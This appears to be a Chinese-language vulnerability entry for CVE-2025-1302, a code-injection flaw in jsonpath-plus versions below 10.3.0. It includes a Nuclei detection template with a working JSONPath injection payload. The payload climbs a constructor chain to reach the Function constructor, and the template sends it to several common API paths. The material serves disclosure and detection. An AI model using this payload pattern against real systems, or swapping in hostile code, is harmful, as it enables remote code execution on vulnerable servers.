jsonpath-plus Safe Eval RCE Vulnerability

漏洞信息

漏洞名称: jsonpath-plus Safe Eval RCE Vulnerability

漏洞编号:

  • CVE: CVE-2025-1302

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: 该漏洞影响的是jsonpath-plus库,这是一个用于处理JSONPath表达式的JavaScript库,广泛应用于Web应用程序中,用于查询和操作JSON数据。由于其功能强大且易于使用,jsonpath-plus在许多现代Web应用中被采用,特别是在需要复杂JSON数据处理的场景中。漏洞的技术根源在于jsonpath-plus库在处理某些特定的JSONPath表达式时,使用了不安全的eval()函数,这可能导致远程代码执行(RCE)。具体来说,攻击者可以构造恶意的JSONPath表达式,当应用程序使用受影响的jsonpath-plus版本处理这些表达式时,eval()函数会执行表达式中的任意JavaScript代码。这种漏洞的存在使得攻击者能够在目标系统上执行任意命令,可能导致数据泄露、服务中断或其他恶意活动。值得注意的是,此漏洞的利用不需要认证,且可以自动化执行,因此其潜在的安全风险非常高。为了缓解这一风险,建议用户升级到jsonpath-plus 10.3.0或更高版本,以避免受到此漏洞的影响。

产品厂商: JSONPath-Plus

产品名称: jsonpath-plus

影响版本: <10.3.0

来源: https://github.com/projectdiscovery/nuclei-templates/blob/40b7cfde8d148d8cb5b2ba51bd3a4833a711f5fe/http%2Fcves%2F2025%2FCVE-2025-1302.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

id: CVE-2025-1302

info:
name: jsonpath-plus <10.3.0 - Safe Eval RCE Detection
author: Jaenact
severity: high
description: |
This template detects CVE-2025-1302 in jsonpath-plus (<10.3.0) using a safe eval()-based payload.
The payload uses harmless JavaScript (console.log) to determine if unsafe evaluation occurs.
This is a non-exploitive template suitable for safe security testing.

reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1302
- https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-8719585
- https://github.com/JSONPath-Plus/JSONPath
- https://github.com/EQSTLab/CVE-2025-1302

tags: cve,rce,jsonpath,eval,safe,json,application,js

http:
- method: POST
path:
- "{{BaseURL}}/query"
- "{{BaseURL}}/jsonpath"
- "{{BaseURL}}/api/query"
- "{{BaseURL}}/data"
- "{{BaseURL}}/parse"
- "{{BaseURL}}/filter"
- "{{BaseURL}}/expression"

headers:
Content-Type: application/json

body: |
{
"path": "$..[?(EQST=''[['constructor']][['constructor']]('console.log(\"nuclei-safe\")');EQST())]"
}

matchers:
- type: word
part: body
words:
- 'console.log("nuclei-safe")'

- type: word
part: body
negative: true
words:
- 'EQST'
- '"path"'